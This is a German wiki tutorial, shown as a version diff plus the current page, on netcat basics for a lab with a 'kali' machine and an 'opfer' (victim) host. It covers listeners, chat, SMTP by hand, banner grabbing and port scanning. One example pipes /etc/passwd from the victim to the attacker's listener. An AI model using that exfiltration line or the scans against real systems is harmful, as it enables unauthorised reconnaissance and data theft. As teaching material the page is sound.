Netcat Basics: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| (3 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt) | |||
| Zeile 1: | Zeile 1: | ||
| − | = | + | = netcat (nc) – Basics = |
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| + | '''netcat''' ist das „Schweizer Taschenmesser" für TCP/UDP: lauschen, verbinden, Daten schieben, Ports prüfen. | ||
| − | + | ; Hinweis zur Variante | |
| − | + | : Beispiele hier mit ''nc.traditional'' (<code>-l -p</code>). Bei OpenBSD-''nc'' (Kali-Default) lautet der Listener nur <code>nc -l 6789</code> – dort ist <code>-p</code> der Quellport. <code>-z</code>/<code>-w</code> gibt es bei OpenBSD-nc, nicht bei ''ncat''. | |
| − | ; | ||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | = | + | == Listener prüfen == |
| − | |||
| − | |||
| − | |||
| − | |||
| − | = | + | <pre> |
| − | + | # auf kali: lauschen | |
| − | + | nc -l -p 6789 | |
| − | + | ||
| + | # auf kali: läuft der Listener? | ||
| + | ss -lntp | grep 6789 | ||
| + | </pre> | ||
| + | |||
| + | == Chat == | ||
| + | |||
| + | <pre> | ||
| + | # lokal (zwei Terminals auf kali) | ||
| + | nc -l -p 6789 # Server | ||
| + | nc kali 6789 # Client | ||
| + | |||
| + | # übers Netz | ||
| + | nc -l -p 6789 # auf kali | ||
| + | nc kali 6789 # auf opfer | ||
| + | </pre> | ||
| + | |||
| + | == Filetransfer == | ||
| + | |||
| + | <pre> | ||
| + | nc -l -p 6789 > /tmp/passwd # auf kali (Empfänger) | ||
| + | cat /etc/passwd | nc kali 6789 # auf opfer (Sender) | ||
| + | </pre> | ||
| + | |||
| + | == Mailserver verbinden == | ||
| + | |||
| + | SMTP von Hand sprechen: | ||
| + | |||
| + | <pre> | ||
| + | nc -C mail.tcpdump.de 25 | ||
| + | </pre> | ||
| + | 220 mail.tcpdump.de ESMTP Postfix (Ubuntu) | ||
'''ehlo kit.de''' | '''ehlo kit.de''' | ||
| − | 250 | + | 250 ... |
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
'''mail from: kit13@kit.de''' | '''mail from: kit13@kit.de''' | ||
250 2.1.0 Ok | 250 2.1.0 Ok | ||
| Zeile 50: | Zeile 53: | ||
354 End data with <CR><LF>.<CR><LF> | 354 End data with <CR><LF>.<CR><LF> | ||
'''Subject: testmail vom kit''' | '''Subject: testmail vom kit''' | ||
| − | + | (Leerzeile) | |
| − | '''Hallo Thomas Gruss vom Kit''' | + | '''Hallo Thomas, Gruss vom Kit''' |
| − | |||
'''.''' | '''.''' | ||
| − | 250 2.0.0 Ok: queued | + | 250 2.0.0 Ok: queued |
'''quit''' | '''quit''' | ||
221 2.0.0 Bye | 221 2.0.0 Bye | ||
| − | = | + | |
| − | + | == Bannergrabbing == | |
| − | + | ||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
<pre> | <pre> | ||
| + | # Webserver (HTTP/1.0, kein Host-Header nötig) | ||
| + | printf 'HEAD / HTTP/1.0\r\n\r\n' | nc opfer.secure.local 80 | grep -i '^Server' | ||
| + | # -> Server: Apache/2.4.29 (Ubuntu) | ||
| + | oder | ||
| + | echo -e 'HEAD / HTTP/1.0\r\n\r\n' | nc opfer.secure.local 80 | grep -i '^Server' | ||
| + | # -> Server: Apache/2.4.29 (Ubuntu) | ||
| + | |||
| + | # SSH (Banner kommt sofort) | ||
| + | nc opfer 22 | head -1 | ||
| + | # -> SSH-2.0-OpenSSH_7.6p1 Ubuntu-4 | ||
| + | |||
| + | echo -e 'SSH-2.0-OpenSSH_7.6p1 Ubuntu-4\r\n\r\n' | nc opfer 22 | ||
| + | |||
SSH-2.0-OpenSSH_7.6p1 Ubuntu-4 | SSH-2.0-OpenSSH_7.6p1 Ubuntu-4 | ||
| − | + | 4�.:� | |
| + | *�9S��b:(�curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1Assh-rsa,rsa-sha2-512,rsa-sha2-256,ecdsa-sha2-nistp256,ssh-ed25519lchacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.comlchacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com�umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1�umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1none,zlib@openssh.comnone,zlib@openssh.com^C | ||
| + | |||
| + | </pre> | ||
| + | |||
| + | == Portscan == | ||
| + | |||
| + | <pre> | ||
| + | # einzelner Port: Exit-Code 0 = offen, 1 = zu | ||
| + | nc -w 1 -z opfer 9999 ; echo $? | ||
| + | |||
| + | # Bereich, verbose | ||
| + | nc -z -v opfer 22-80 | ||
</pre> | </pre> | ||
| − | + | opfer [10.0.10.104] 80 (http) open | |
| − | + | opfer [10.0.10.104] 25 (smtp) open | |
| − | + | opfer [10.0.10.104] 22 (ssh) open | |
| − | 0 | + | |
| − | + | == Eigener Scanner == | |
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
<pre> | <pre> | ||
#!/bin/bash | #!/bin/bash | ||
| Zeile 86: | Zeile 103: | ||
START=$2 | START=$2 | ||
STOP=$3 | STOP=$3 | ||
| − | for ((i= | + | for ((i=START; i<=STOP; i++)); do |
| − | + | if nc -w 1 -z "$HOST" "$i" 2>/dev/null; then | |
| − | + | echo "$HOST $i open" | |
| − | + | fi | |
| − | + | done | |
| − | fi | + | </pre> |
| − | + | ||
| + | <pre> | ||
| + | ./scan opfer 20 100 | ||
</pre> | </pre> | ||
| + | == Siehe auch == | ||
| − | + | * [[Ss]] | |
| − | * | + | * [[Ip addr]] |
| − | |||
| − | |||
| − | |||
| − | |||
Aktuelle Version vom 16. Juni 2026, 08:25 Uhr
netcat (nc) – Basics
netcat ist das „Schweizer Taschenmesser" für TCP/UDP: lauschen, verbinden, Daten schieben, Ports prüfen.
- Hinweis zur Variante
- Beispiele hier mit nc.traditional (
-l -p). Bei OpenBSD-nc (Kali-Default) lautet der Listener nurnc -l 6789– dort ist-pder Quellport.-z/-wgibt es bei OpenBSD-nc, nicht bei ncat.
Listener prüfen
# auf kali: lauschen nc -l -p 6789 # auf kali: läuft der Listener? ss -lntp | grep 6789
Chat
# lokal (zwei Terminals auf kali) nc -l -p 6789 # Server nc kali 6789 # Client # übers Netz nc -l -p 6789 # auf kali nc kali 6789 # auf opfer
Filetransfer
nc -l -p 6789 > /tmp/passwd # auf kali (Empfänger) cat /etc/passwd | nc kali 6789 # auf opfer (Sender)
Mailserver verbinden
SMTP von Hand sprechen:
nc -C mail.tcpdump.de 25
220 mail.tcpdump.de ESMTP Postfix (Ubuntu) ehlo kit.de 250 ... mail from: kit13@kit.de 250 2.1.0 Ok rcpt to: thomas@xinux.de 250 2.1.5 Ok data 354 End data with <CR><LF>.<CR><LF> Subject: testmail vom kit (Leerzeile) Hallo Thomas, Gruss vom Kit . 250 2.0.0 Ok: queued quit 221 2.0.0 Bye
Bannergrabbing
# Webserver (HTTP/1.0, kein Host-Header nötig)
printf 'HEAD / HTTP/1.0\r\n\r\n' | nc opfer.secure.local 80 | grep -i '^Server'
# -> Server: Apache/2.4.29 (Ubuntu)
oder
echo -e 'HEAD / HTTP/1.0\r\n\r\n' | nc opfer.secure.local 80 | grep -i '^Server'
# -> Server: Apache/2.4.29 (Ubuntu)
# SSH (Banner kommt sofort)
nc opfer 22 | head -1
# -> SSH-2.0-OpenSSH_7.6p1 Ubuntu-4
echo -e 'SSH-2.0-OpenSSH_7.6p1 Ubuntu-4\r\n\r\n' | nc opfer 22
SSH-2.0-OpenSSH_7.6p1 Ubuntu-4
4�.:�
*�9S��b:(�curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1Assh-rsa,rsa-sha2-512,rsa-sha2-256,ecdsa-sha2-nistp256,ssh-ed25519lchacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.comlchacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com�umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1�umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1none,zlib@openssh.comnone,zlib@openssh.com^C
Portscan
# einzelner Port: Exit-Code 0 = offen, 1 = zu nc -w 1 -z opfer 9999 ; echo $? # Bereich, verbose nc -z -v opfer 22-80
opfer [10.0.10.104] 80 (http) open opfer [10.0.10.104] 25 (smtp) open opfer [10.0.10.104] 22 (ssh) open
Eigener Scanner
#!/bin/bash
HOST=$1
START=$2
STOP=$3
for ((i=START; i<=STOP; i++)); do
if nc -w 1 -z "$HOST" "$i" 2>/dev/null; then
echo "$HOST $i open"
fi
done
./scan opfer 20 100